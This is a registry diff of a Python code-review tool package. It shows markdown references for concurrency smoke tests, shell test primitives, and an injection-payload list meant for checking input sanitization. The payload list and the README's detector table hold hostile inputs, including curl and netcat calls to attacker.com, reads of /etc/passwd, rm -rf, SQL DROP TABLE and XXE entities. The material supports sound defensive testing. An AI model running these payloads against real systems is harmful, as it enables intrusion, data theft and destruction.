code-review-forge 2.0.0a1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (62) hide show
  1. code_forge/__init__.py +14 -0
  2. code_forge/__main__.py +8 -0
  3. code_forge/autofix.py +78 -0
  4. code_forge/baseline.py +216 -0
  5. code_forge/cli.py +983 -0
  6. code_forge/delta.py +65 -0
  7. code_forge/diagnose.py +109 -0
  8. code_forge/diff.py +82 -0
  9. code_forge/disposition.py +32 -0
  10. code_forge/e2e_check.py +641 -0
  11. code_forge/env_resolver.py +91 -0
  12. code_forge/errors.py +34 -0
  13. code_forge/exit_codes.py +37 -0
  14. code_forge/factories.py +191 -0
  15. code_forge/falsify.py +85 -0
  16. code_forge/gate_check.py +466 -0
  17. code_forge/git.py +351 -0
  18. code_forge/hold.py +126 -0
  19. code_forge/install_hooks.py +331 -0
  20. code_forge/lock.py +162 -0
  21. code_forge/machine.py +792 -0
  22. code_forge/mode_resolver.py +60 -0
  23. code_forge/mutation.py +380 -0
  24. code_forge/parsers/__init__.py +56 -0
  25. code_forge/parsers/_sarif.py +77 -0
  26. code_forge/parsers/base.py +65 -0
  27. code_forge/parsers/checkpatch.py +66 -0
  28. code_forge/parsers/clippy.py +85 -0
  29. code_forge/parsers/non_ascii.py +47 -0
  30. code_forge/parsers/ruff.py +18 -0
  31. code_forge/parsers/semgrep.py +18 -0
  32. code_forge/parsers/shellcheck.py +56 -0
  33. code_forge/registry.py +153 -0
  34. code_forge/reporter.py +133 -0
  35. code_forge/runner.py +205 -0
  36. code_forge/sarif.py +226 -0
  37. code_forge/skills/adversarial-qe/SKILL.md +272 -0
  38. code_forge/skills/code-forge/SKILL.md +1193 -0
  39. code_forge/skills/code-review-expert/SKILL.md +162 -0
  40. code_forge/skills/code-review-expert/references/code-quality-checklist.md +130 -0
  41. code_forge/skills/code-review-expert/references/removal-plan.md +52 -0
  42. code_forge/skills/code-review-expert/references/security-checklist.md +118 -0
  43. code_forge/skills/code-review-expert/references/solid-checklist.md +65 -0
  44. code_forge/skills/kernel-fp-verify/SKILL.md +101 -0
  45. code_forge/skills/qodo-review/SKILL.md +135 -0
  46. code_forge/skills/smoke-test/SKILL.md +253 -0
  47. code_forge/skills/smoke-test/references/boundary-cases.md +114 -0
  48. code_forge/skills/smoke-test/references/concurrency-patterns.md +306 -0
  49. code_forge/skills/smoke-test/references/injection-payloads.md +124 -0
  50. code_forge/skills/smoke-test/test-library/shell/README.md +271 -0
  51. code_forge/skills/smoke-test/test-library/shell/primitives.sh +352 -0
  52. code_forge/skills/smoke-test/test-library/shell/primitives_test.sh +324 -0
  53. code_forge/snapshot.py +196 -0
  54. code_forge/source.py +64 -0
  55. code_forge/state.py +246 -0
  56. code_forge/verdict.py +43 -0
  57. code_review_forge-2.0.0a1.dist-info/METADATA +237 -0
  58. code_review_forge-2.0.0a1.dist-info/RECORD +62 -0
  59. code_review_forge-2.0.0a1.dist-info/WHEEL +5 -0
  60. code_review_forge-2.0.0a1.dist-info/entry_points.txt +2 -0
  61. code_review_forge-2.0.0a1.dist-info/licenses/LICENSE +179 -0
  62. code_review_forge-2.0.0a1.dist-info/top_level.txt +1 -0
@@ -0,0 +1,306 @@
1
+ # Concurrency Testing Patterns
2
+
3
+ Test scenarios for race conditions, deadlocks, and lock contention.
4
+
5
+ ## When to Test Concurrency
6
+
7
+ - Code uses locks (`flock`, `fcntl`, mutexes)
8
+ - Code modifies shared files (state files, logs, caches)
9
+ - Code spawns background processes
10
+ - Code uses signals (SIGINT, SIGTERM)
11
+ - Code has check-then-act patterns (TOCTOU)
12
+
13
+ ## Race Condition Patterns
14
+
15
+ ### 1. Check-Then-Act (TOCTOU)
16
+
17
+ **Vulnerable code**:
18
+ ```bash
19
+ if [[ ! -f "$LOCKFILE" ]]; then
20
+ touch "$LOCKFILE" # Race: another process can create between check and touch
21
+ # critical section
22
+ fi
23
+ ```
24
+
25
+ **Test**:
26
+ ```bash
27
+ # Spawn 10 concurrent instances
28
+ for i in {1..10}; do
29
+ ./script.sh &
30
+ done
31
+ wait
32
+
33
+ # Verify only one lockfile created
34
+ ls -l "$LOCKFILE"
35
+ ```
36
+
37
+ ### 2. Read-Modify-Write
38
+
39
+ **Vulnerable code**:
40
+ ```bash
41
+ count=$(cat counter.txt)
42
+ count=$((count + 1))
43
+ echo "$count" > counter.txt # Race: another process can write between read and write
44
+ ```
45
+
46
+ **Test**:
47
+ ```bash
48
+ echo "0" > counter.txt
49
+ for i in {1..100}; do
50
+ ./increment.sh &
51
+ done
52
+ wait
53
+
54
+ # Verify counter is 100 (not less due to lost updates)
55
+ cat counter.txt
56
+ ```
57
+
58
+ ### 3. File Append Without Lock
59
+
60
+ **Vulnerable code**:
61
+ ```bash
62
+ echo "log entry" >> logfile.txt # Race: interleaved writes
63
+ ```
64
+
65
+ **Test**:
66
+ ```bash
67
+ > logfile.txt
68
+ for i in {1..100}; do
69
+ (echo "entry-$i" >> logfile.txt) &
70
+ done
71
+ wait
72
+
73
+ # Verify 100 complete lines (no partial/interleaved entries)
74
+ wc -l logfile.txt
75
+ grep -c "^entry-" logfile.txt
76
+ ```
77
+
78
+ ## Deadlock Patterns
79
+
80
+ ### 1. Lock Ordering Violation
81
+
82
+ **Vulnerable code**:
83
+ ```bash
84
+ # Process A
85
+ flock 9
86
+ flock 10
87
+
88
+ # Process B
89
+ flock 10 # Deadlock: A holds 9 waits for 10, B holds 10 waits for 9
90
+ flock 9
91
+ ```
92
+
93
+ **Test**:
94
+ ```bash
95
+ # Spawn two processes with opposite lock order
96
+ (flock 9; sleep 1; flock 10; echo "A done") &
97
+ (flock 10; sleep 1; flock 9; echo "B done") &
98
+
99
+ # Wait with timeout
100
+ timeout 5 wait || echo "DEADLOCK DETECTED"
101
+ ```
102
+
103
+ ### 2. Self-Deadlock
104
+
105
+ **Vulnerable code**:
106
+ ```bash
107
+ flock 9
108
+ # ... code that calls itself recursively ...
109
+ flock 9 # Deadlock: trying to acquire same lock twice
110
+ ```
111
+
112
+ **Test**:
113
+ ```bash
114
+ # Call script recursively
115
+ DEPTH=0 ./script.sh
116
+ # Inside script: DEPTH=$((DEPTH + 1)); if [[ $DEPTH -lt 3 ]]; then ./script.sh; fi
117
+
118
+ # Verify completes without hanging
119
+ timeout 5 ./script.sh || echo "SELF-DEADLOCK DETECTED"
120
+ ```
121
+
122
+ ## Lock Contention Patterns
123
+
124
+ ### 1. High Contention (Many Writers)
125
+
126
+ **Test**:
127
+ ```bash
128
+ # Spawn 100 concurrent writers
129
+ for i in {1..100}; do
130
+ ./write-with-lock.sh "data-$i" &
131
+ done
132
+ wait
133
+
134
+ # Verify all writes succeeded
135
+ wc -l output.txt # Should be 100
136
+ ```
137
+
138
+ ### 2. Lock Timeout Fallback
139
+
140
+ **Test**:
141
+ ```bash
142
+ # Hold lock indefinitely in background
143
+ (flock 9; sleep 60) &
144
+ HOLDER_PID=$!
145
+
146
+ # Try to acquire with timeout
147
+ flock -w 2 9 || echo "TIMEOUT - fallback triggered"
148
+
149
+ kill $HOLDER_PID
150
+ ```
151
+
152
+ ### 3. Non-Blocking Lock
153
+
154
+ **Test**:
155
+ ```bash
156
+ # Hold lock in background
157
+ (flock 9; sleep 5) &
158
+
159
+ # Try non-blocking acquire
160
+ flock -n 9 && echo "ACQUIRED" || echo "BUSY - fallback triggered"
161
+ ```
162
+
163
+ ## Signal Handling Patterns
164
+
165
+ ### 1. Interrupted System Call
166
+
167
+ **Vulnerable code**:
168
+ ```bash
169
+ curl https://api.example.com # SIGINT during download leaves partial file
170
+ ```
171
+
172
+ **Test**:
173
+ ```bash
174
+ # Start long-running operation
175
+ ./script.sh &
176
+ PID=$!
177
+
178
+ # Send SIGINT after 1 second
179
+ sleep 1
180
+ kill -INT $PID
181
+
182
+ # Verify cleanup happened (temp files removed, locks released)
183
+ ls /tmp/script-*.tmp # Should not exist
184
+ flock -n 9 && echo "Lock released" || echo "Lock still held"
185
+ ```
186
+
187
+ ### 2. Signal During Critical Section
188
+
189
+ **Test**:
190
+ ```bash
191
+ # Send signal during file write
192
+ ./script.sh &
193
+ PID=$!
194
+ sleep 0.5 # Wait until likely in critical section
195
+ kill -TERM $PID
196
+
197
+ # Verify file not corrupted
198
+ if [[ -f output.txt ]]; then
199
+ # File should be valid JSON/complete lines/etc.
200
+ jq . output.txt || echo "CORRUPTED"
201
+ fi
202
+ ```
203
+
204
+ ## Testing Tools
205
+
206
+ ### Parallel Execution
207
+
208
+ ```bash
209
+ # GNU parallel (if available)
210
+ parallel -j 10 ./script.sh ::: {1..100}
211
+
212
+ # xargs
213
+ seq 1 100 | xargs -P 10 -I {} ./script.sh {}
214
+
215
+ # Bash background jobs
216
+ for i in {1..100}; do ./script.sh & done; wait
217
+ ```
218
+
219
+ ### Stress Testing
220
+
221
+ ```bash
222
+ # stress-ng (CPU/memory/I/O stress)
223
+ stress-ng --cpu 4 --io 2 --vm 1 --timeout 60s &
224
+ STRESS_PID=$!
225
+
226
+ # Run concurrent tests under stress
227
+ for i in {1..50}; do ./script.sh & done
228
+ wait
229
+
230
+ kill $STRESS_PID
231
+ ```
232
+
233
+ ### Race Detection
234
+
235
+ ```bash
236
+ # Run same operation many times to increase race probability
237
+ for attempt in {1..1000}; do
238
+ ./script.sh &
239
+ done
240
+ wait
241
+
242
+ # Check for corruption
243
+ if [[ $(wc -l < state.txt) -ne 1000 ]]; then
244
+ echo "RACE CONDITION DETECTED"
245
+ fi
246
+ ```
247
+
248
+ ## Verification Checklist
249
+
250
+ After concurrent execution:
251
+
252
+ - [ ] State files have valid content (not corrupted)
253
+ - [ ] Log files have expected number of entries (no lost writes)
254
+ - [ ] No "text file busy" errors
255
+ - [ ] No orphaned lock files
256
+ - [ ] No zombie processes (`ps aux | grep defunct`)
257
+ - [ ] Exit codes are correct (not all failures)
258
+ - [ ] Temp files cleaned up (`ls /tmp/script-*`)
259
+
260
+ ## Common Bugs Found
261
+
262
+ | Bug | Symptom | Root Cause |
263
+ |-----|---------|------------|
264
+ | Lost updates | Counter is 87 instead of 100 | Read-modify-write without lock |
265
+ | Corrupted files | JSON parse error | Interleaved writes |
266
+ | Orphaned locks | Second run hangs forever | Lock not released on error |
267
+ | Partial writes | File has incomplete lines | Signal during write |
268
+ | Deadlock | Process hangs indefinitely | Lock ordering violation |
269
+
270
+ ## Example Test Script
271
+
272
+ ```bash
273
+ #!/bin/bash
274
+ # Concurrency test for kimi-next-key.sh
275
+
276
+ STATE_FILE="$HOME/.config/kimi/state"
277
+ echo "0" > "$STATE_FILE"
278
+
279
+ echo "=== Test 1: 10 concurrent calls ==="
280
+ for i in {1..10}; do
281
+ ./kimi-next-key.sh > /dev/null &
282
+ done
283
+ wait
284
+
285
+ # Verify state file not corrupted
286
+ if [[ $(cat "$STATE_FILE") =~ ^[0-9]+$ ]]; then
287
+ echo "PASS: state file valid"
288
+ else
289
+ echo "FAIL: state file corrupted"
290
+ fi
291
+
292
+ echo "=== Test 2: Lock contention fallback ==="
293
+ # Hold lock in background
294
+ (flock 9; sleep 5) 9>"$STATE_FILE.lock" &
295
+ HOLDER=$!
296
+
297
+ # Try to acquire (should fallback)
298
+ output=$(./kimi-next-key.sh 2>&1)
299
+ if echo "$output" | grep -q "unvalidated fallback"; then
300
+ echo "PASS: fallback triggered"
301
+ else
302
+ echo "FAIL: no fallback message"
303
+ fi
304
+
305
+ kill $HOLDER 2>/dev/null
306
+ ```
@@ -0,0 +1,124 @@
1
+ # Injection Attack Payloads
2
+
3
+ Common payloads for security testing. Use these to verify input sanitization.
4
+
5
+ ## Command Injection (Shell)
6
+
7
+ ```bash
8
+ # Basic command substitution
9
+ $(id)
10
+ `whoami`
11
+ $(curl attacker.com)
12
+
13
+ # Command chaining
14
+ ; ls -la
15
+ && cat /etc/passwd
16
+ || rm -rf /tmp/test
17
+
18
+ # Pipe injection
19
+ | nc attacker.com 4444
20
+
21
+ # Backgrounding
22
+ & sleep 60 &
23
+ ```
24
+
25
+ ## Python Code Injection
26
+
27
+ ```python
28
+ # String escape
29
+ """; import os; os.system("id"); x="""
30
+ '''; __import__('os').system('whoami'); y='''
31
+
32
+ # Import injection
33
+ __import__('subprocess').call(['id'])
34
+ eval('__import__("os").system("ls")')
35
+
36
+ # File operations
37
+ open('/etc/passwd').read()
38
+ ```
39
+
40
+ ## JSON Injection
41
+
42
+ ```json
43
+ # Quote escape
44
+ {"key": "value\", \"injected\": \"data"}
45
+
46
+ # Unicode escape
47
+ {"key": ""injected""}
48
+
49
+ # Nested injection
50
+ {"key": {"nested": "value\"}, \"evil\": \"payload"}}
51
+ ```
52
+
53
+ ## Path Traversal
54
+
55
+ ```bash
56
+ # Directory traversal
57
+ ../../etc/passwd
58
+ ../../../tmp/evil.sh
59
+ ....//....//etc/passwd
60
+
61
+ # Null byte injection (older systems)
62
+ /etc/passwd%00.txt
63
+ ../../etc/passwd\x00
64
+
65
+ # URL encoding
66
+ ..%2F..%2Fetc%2Fpasswd
67
+ ```
68
+
69
+ ## SQL Injection
70
+
71
+ ```sql
72
+ # Authentication bypass
73
+ ' OR 1=1 --
74
+ admin' --
75
+ ' OR 'a'='a
76
+
77
+ # Data extraction
78
+ ' UNION SELECT password FROM users --
79
+
80
+ # Destructive
81
+ '; DROP TABLE users; --
82
+ ```
83
+
84
+ ## LDAP Injection
85
+
86
+ ```ldap
87
+ # Filter bypass
88
+ *)(uid=*))(|(uid=*
89
+ admin)(&(password=*))
90
+
91
+ # Wildcard
92
+ *
93
+ ```
94
+
95
+ ## XML/XXE Injection
96
+
97
+ ```xml
98
+ <!-- External entity -->
99
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
100
+ <root>&xxe;</root>
101
+
102
+ <!-- Billion laughs -->
103
+ <!DOCTYPE lolz [
104
+ <!ENTITY lol "lol">
105
+ <!ENTITY lol2 "&lol;&lol;">
106
+ ]>
107
+ ```
108
+
109
+ ## Testing Methodology
110
+
111
+ 1. **Identify injection points**: User input, API responses, file contents, environment variables
112
+ 2. **Select relevant payloads**: Match payload type to context (shell/Python/JSON/etc.)
113
+ 3. **Execute with payload**: Replace normal input with attack payload
114
+ 4. **Verify no execution**: Check that payload is treated as literal data
115
+ 5. **Check error handling**: Ensure errors don't leak sensitive info
116
+
117
+ ## Safe vs Unsafe
118
+
119
+ | Context | Unsafe | Safe |
120
+ |---------|--------|------|
121
+ | Shell command | `os.system(f"ls {user_input}")` | `subprocess.run(['ls', user_input])` |
122
+ | Python eval | `eval(user_input)` | `json.loads(user_input)` |
123
+ | SQL query | `f"SELECT * FROM users WHERE id={uid}"` | `cursor.execute("SELECT * FROM users WHERE id=?", (uid,))` |
124
+ | File path | `open(f"/data/{user_input}")` | `open(os.path.join('/data', os.path.basename(user_input)))` |
@@ -0,0 +1,271 @@
1
+ # Shell Smoke-Test Primitives
2
+
3
+ ## Quick Start
4
+
5
+ ```bash
6
+ source ~/.claude/skills/smoke-test/test-library/shell/primitives.sh
7
+ ```
8
+
9
+ ## Primitives Index
10
+
11
+ ### Helpers
12
+
13
+ | Function | Parameters | Purpose |
14
+ |----------|-----------|---------|
15
+ | `run_and_capture <cmd...>` | command + args | Execute command, capture stdout/stderr/status to `$SMOKE_LAST_STDOUT`/`$SMOKE_LAST_STDERR`/`$SMOKE_LAST_STATUS` |
16
+ | `run_concurrent <N> <cmd...>` | N=count, then command | Launch N background instances, store results in `$CONCURRENT_RESULT_DIR`/`$CONCURRENT_PIDS` |
17
+ | `concurrent_wait` | -- | Reap all background PIDs from `run_concurrent` |
18
+
19
+ ### Execution
20
+
21
+ | Function | Parameters | Purpose |
22
+ |----------|-----------|---------|
23
+ | `assert_success <status> [desc]` | exit code, description | PASS if status == 0 |
24
+ | `assert_failure <status> [desc]` | exit code, description | PASS if status != 0 |
25
+ | `assert_exit_code <expected> <actual> [desc]` | expected, actual, description | PASS if actual == expected |
26
+
27
+ ### Output
28
+
29
+ | Function | Parameters | Purpose |
30
+ |----------|-----------|---------|
31
+ | `assert_output_contains <output> <pattern> [desc]` | text, substring, description | PASS if output contains pattern (fixed string) |
32
+ | `assert_output_not_contains <output> <pattern> [desc]` | text, substring, description | PASS if output does NOT contain pattern |
33
+ | `assert_stderr_empty [desc]` | description | PASS if `$SMOKE_LAST_STDERR` file is empty |
34
+ | `assert_stderr_contains <stderr> <pattern> [desc]` | text, substring, description | PASS if stderr text contains pattern |
35
+
36
+ ### File/State
37
+
38
+ | Function | Parameters | Purpose |
39
+ |----------|-----------|---------|
40
+ | `assert_file_exists <file> [desc]` | path, description | PASS if regular file exists |
41
+ | `assert_file_not_exists <file> [desc]` | path, description | PASS if file does NOT exist |
42
+ | `assert_file_contains <file> <pattern> [desc]` | path, substring, description | PASS if file contains pattern |
43
+
44
+ ### Security
45
+
46
+ | Function | Parameters | Purpose |
47
+ |----------|-----------|---------|
48
+ | `assert_no_command_exec <input> [context]` | string, context | PASS if no `$()`, backticks, `<()`, `;&\|` in input |
49
+ | `assert_no_command_exec_json <input> [context]` | string, context | JSON/URL-safe: only checks `$()`, backticks, `<()`, skips `;&\|` |
50
+ | `assert_no_path_traversal <input> [context]` | string, context | PASS if no `../`, `..\`, URL-encoded traversal |
51
+
52
+ ### Process
53
+
54
+ | Function | Parameters | Purpose |
55
+ |----------|-----------|---------|
56
+ | `assert_no_zombie [pid] [desc] [max_depth]` | root PID, description, max depth (default: 100) | PASS if no zombie processes in process tree (recursive `/proc` scan, depth-limited) |
57
+ | `assert_temp_clean [pattern] [desc]` | glob pattern, description | PASS if no matching temp files (default: `/tmp/smoke-test-*`) |
58
+
59
+ ### Data
60
+
61
+ | Function | Parameters | Purpose |
62
+ |----------|-----------|---------|
63
+ | `assert_json_valid <file-or-str> [desc] [schema]` | path or JSON string, description, optional jq schema expression | PASS if valid JSON; optional `schema` validates structure via `jq -e`; SKIP if jq not installed |
64
+
65
+ ## Decision Table
66
+
67
+ | Change Type | Required | Optional |
68
+ |------------|----------|----------|
69
+ | New CLI parameter | `assert_success`, `assert_output_contains` | `assert_stderr_empty` |
70
+ | Error handling | `assert_failure`, `assert_stderr_contains` | `assert_exit_code` |
71
+ | File operations | `assert_file_exists`, `assert_file_contains` | `assert_file_not_exists` |
72
+ | Concurrency | `assert_success` (xN), `assert_no_zombie` | `assert_temp_clean`, `assert_file_contains` (race check) |
73
+ | Security patch | `assert_no_command_exec`, `assert_no_path_traversal` | `assert_output_not_contains` |
74
+ | API response | `assert_json_valid`, `assert_output_contains` | `assert_no_command_exec_json` (if response passed to shell) |
75
+ | Config parsing | `assert_success`, `assert_file_contains` | -- |
76
+ | Log output | `assert_output_contains` | `assert_stderr_empty` |
77
+ | Cleanup logic | `assert_file_not_exists` | -- |
78
+
79
+ ## Act Pattern
80
+
81
+ ### Standard (single command)
82
+
83
+ ```bash
84
+ run_and_capture ./script.sh --flag value
85
+ output=$(cat "$SMOKE_LAST_STDOUT")
86
+ assert_success "$SMOKE_LAST_STATUS" "script.sh --flag"
87
+ assert_output_contains "$output" "expected substring" "flag output"
88
+ ```
89
+
90
+ ### Concurrent (N instances, zombie-safe)
91
+
92
+ ```bash
93
+ run_concurrent 5 ./kimi-next-key.sh
94
+ sleep 0.5 # wait for child exits, zombie forms
95
+ assert_no_zombie $$ "kimi-next-key" # detect BEFORE reap
96
+ concurrent_wait; cw_status=$?
97
+ assert_success "$cw_status" "concurrent execution"
98
+ # Per-instance diagnostics on failure
99
+ if [[ $cw_status -ne 0 ]]; then
100
+ for ((i=0; i<5; i++)); do
101
+ s=$(cat "$CONCURRENT_RESULT_DIR/$i.status" 2>/dev/null || echo unknown)
102
+ (( s != 0 )) && echo " instance $i FAIL: exit=$s"
103
+ done
104
+ fi
105
+ ```
106
+
107
+ ## Safety Primitive Usage Guide
108
+
109
+ ### `assert_no_command_exec`
110
+
111
+ **Applicable**: input passed to `eval`/`sh -c`, constructing shell commands, `source $input`.
112
+
113
+ **NOT applicable**: JSON/XML/YAML data, URL query strings (contain `&`), regex patterns (contain `|`). For these, use `assert_no_command_exec_json` instead.
114
+
115
+ ### `assert_no_command_exec_json`
116
+
117
+ JSON/URL-safe variant. Only checks for command execution/substitution (`$()`, backticks, `<()`), skips `;&|` which appear legitimately in URL query strings and regex patterns.
118
+
119
+ | Input | `assert_no_command_exec` | `assert_no_command_exec_json` |
120
+ |-------|--------------------------|------------------------------|
121
+ | `$(id)` | FAIL | FAIL |
122
+ | `` `whoami` `` | FAIL | FAIL |
123
+ | `<(cat /etc/passwd)` | FAIL | FAIL |
124
+ | `; rm -rf /` | FAIL | PASS (false positive avoided) |
125
+ | `key=value&foo=bar` | FAIL | PASS (URL-safe) |
126
+ | `error\|warn\|info` | FAIL | PASS (regex-safe) |
127
+
128
+ **Use when**: input contains structured data (JSON, URL params, regex), but still want to catch command execution via `$()`, backticks, or `<()`.
129
+
130
+ ### Known Boundaries
131
+
132
+ These attack vectors are intentionally not covered. They require semantic parsing beyond smoke-test scope:
133
+
134
+ | Vector | Reason |
135
+ |--------|--------|
136
+ | `${IFS}` / `${var:-cmd}` variable expansion | `${}` is ubiquitous in legitimate configs, templates, and sed patterns. Distinguishing malicious expansion from benign usage requires shell-semantic parsing. Cover via semgrep in Step 0. |
137
+ | Nested obfuscation (`$($(echo id))`) | Detected (outer `$()` fires). Inner payload is not de-obfuscated -- that's the job of a static analyzer. |
138
+
139
+ ### `assert_no_path_traversal`
140
+
141
+ Detects `../` and URL-encoded `%2e%2e%2f`. Absolute path detection (`^/`) is commented out by default -- enable per context.
142
+
143
+ ### `assert_no_zombie` Depth Limit
144
+
145
+ The optional `max_depth` parameter (default: 100) prevents infinite recursion in abnormally deep process trees. On depth exceeded, emits a WARNING and returns without counting as FAIL:
146
+
147
+ ```bash
148
+ # Default: max depth 100
149
+ assert_no_zombie $$ "default depth"
150
+
151
+ # Shallow scan: only check depth <= 10
152
+ assert_no_zombie $$ "shallow check" 10
153
+
154
+ # Deep scan for known deep process trees
155
+ assert_no_zombie $$ "deep check" 500
156
+ ```
157
+
158
+ ### `assert_json_valid` Schema Validation
159
+
160
+ The optional `schema` parameter accepts a jq boolean expression. After format validation passes, runs `jq -e "$schema"` for structural validation:
161
+
162
+ ```bash
163
+ # Format-only validation (backward compatible)
164
+ assert_json_valid '{"key":"value"}' "basic check"
165
+
166
+ # Schema: assert a specific value
167
+ assert_json_valid '{"status":"ok"}' "status check" '.status == "ok"'
168
+
169
+ # Schema: assert field exists and is truthy
170
+ assert_json_valid '{"count":5}' "has count" '.count'
171
+
172
+ # Schema: assert numeric range
173
+ assert_json_valid '{"code":200}' "http 200" '.code >= 200 and .code < 300'
174
+
175
+ # From file with schema
176
+ echo '{"items":["a","b"]}' > /tmp/resp.json
177
+ assert_json_valid /tmp/resp.json "has items array" '.items | length > 0'
178
+ ```
179
+
180
+ Schema validation uses `jq -e` (exit 0 = truthy, exit 1 = false/null). A schema that returns `false` or `null` means FAIL.
181
+
182
+ ## Combination Rules
183
+
184
+ ### Contradictions (using both guarantees a FAIL, not a tool bug)
185
+
186
+ | Pair | Why |
187
+ |------|-----|
188
+ | `assert_success` + `assert_failure` | Cannot both pass on same exit code |
189
+ | `assert_exit_code 0` + `assert_exit_code 1` | Cannot both pass |
190
+ | `assert_stderr_empty` + `assert_stderr_contains` | Cannot both pass on same stderr |
191
+
192
+ ### Recommended Combinations
193
+
194
+ - Command success + output: `assert_success` + `assert_output_contains`
195
+ - Command failure + error: `assert_failure` + `assert_stderr_contains`
196
+ - Security: `assert_no_command_exec` + `assert_no_path_traversal`
197
+ - File write: `run_and_capture cmd` -> `assert_success` + `assert_file_exists` + `assert_file_contains`
198
+
199
+ ### Zombie Detection Race Window
200
+
201
+ `assert_no_zombie` must be called AFTER the target script's children have exited but BEFORE they are reaped. With `run_concurrent`:
202
+
203
+ 1. `run_concurrent N cmd` -- launches N background instances
204
+ 2. `sleep D` -- wait for inner children to exit (D depends on the script's internal runtime)
205
+ 3. `assert_no_zombie $$` -- scan while zombies are still present
206
+ 4. `concurrent_wait` -- reap after detection
207
+
208
+ The `sleep` duration is script-specific. If the negative test in `primitives_test.sh` produces SKIP, the zombie window was too short -- the test is not counted as a failure.
209
+
210
+ The optional `max_depth` parameter (positional arg 3) limits recursion depth to prevent infinite loops in abnormally deep process trees. Default is 100. On exceeding the limit, a WARNING is emitted and the scan continues without counting as FAIL.
211
+
212
+ Reliable zombie test fixtures require a non-bash intermediate (bash auto-reaps direct children). The P3 verification uses `python3 subprocess.Popen` for this purpose -- see `test_case2_concurrency.sh` for the reference pattern.
213
+
214
+ ## Concurrency Safety
215
+
216
+ ### SMOKE_LAST_* Variable Overwrite
217
+
218
+ `run_and_capture` exports global variables (`SMOKE_LAST_STDOUT`, `SMOKE_LAST_STDERR`, `SMOKE_LAST_STATUS`). Nested or sequential calls overwrite previous values:
219
+
220
+ ```bash
221
+ # WRONG: using $SMOKE_LAST_STDOUT after a second run_and_capture
222
+ run_and_capture ./outer.sh
223
+ outer_status=$SMOKE_LAST_STATUS
224
+ run_and_capture ./inner.sh # overwrites $SMOKE_LAST_STDOUT
225
+ assert_output_contains "$(cat "$SMOKE_LAST_STDOUT")" "outer text" # FAIL: reads inner.sh output
226
+
227
+ # CORRECT: save immediately after each run_and_capture
228
+ run_and_capture ./outer.sh
229
+ outer_stdout=$(cat "$SMOKE_LAST_STDOUT")
230
+ outer_status=$SMOKE_LAST_STATUS
231
+ run_and_capture ./inner.sh
232
+ assert_output_contains "$outer_stdout" "outer text" # PASS
233
+ ```
234
+
235
+ ### run_concurrent Isolation
236
+
237
+ Each background instance creates its own temp files in `$CONCURRENT_RESULT_DIR/{i}.{out,err,status}`. No variable conflicts between instances.
238
+
239
+ ### Multi-Line Primitive Output
240
+
241
+ Some primitives (e.g. `assert_no_zombie`) output debug details before the PASS/FAIL line. When capturing with `$(...)`, use `grep -q '^FAIL:'` rather than `[[ "$result" == FAIL:* ]]`:
242
+
243
+ ```bash
244
+ result=$(assert_no_zombie "$pid" "check")
245
+ # WRONG: prefix match fails when ZOMBIE lines precede FAIL:
246
+ [[ "$result" == FAIL:* ]]
247
+ # CORRECT: grep for the line of interest:
248
+ echo "$result" | grep -q '^FAIL:'
249
+ ```
250
+
251
+ ## Dependencies
252
+
253
+ | Tool | Required By | Install |
254
+ |------|------------|---------|
255
+ | `jq` | `assert_json_valid` | `dnf install jq` (RHEL/Fedora), `apt install jq` (Debian/Ubuntu) |
256
+ | `python3` | P3 verification fixtures only | pre-installed on RHEL/Fedora |
257
+
258
+ Without `jq`, `assert_json_valid` returns SKIP (exit 0, never FAIL).
259
+ `python3` is NOT required by `primitives.sh` itself -- only by the P3 verification fixtures that test zombie detection with a non-bash intermediate.
260
+
261
+ ## Secret Security
262
+
263
+ - FAIL debug output masks `sk-*` API keys: `sed 's/sk-[A-Za-z0-9]\{20,\}/\*\*\*/g'`
264
+ - Tests should use fake credentials (`test-key-12345`), never real API keys
265
+
266
+ ## Prefix Isolation
267
+
268
+ | Prefix | Owner | Scanned by `assert_temp_clean` |
269
+ |--------|-------|-------------------------------|
270
+ | `/tmp/smoke-fw-*` | Framework (run_and_capture, run_concurrent) | No |
271
+ | `/tmp/smoke-test-*` | Tests (script-generated temp files) | Yes (default) |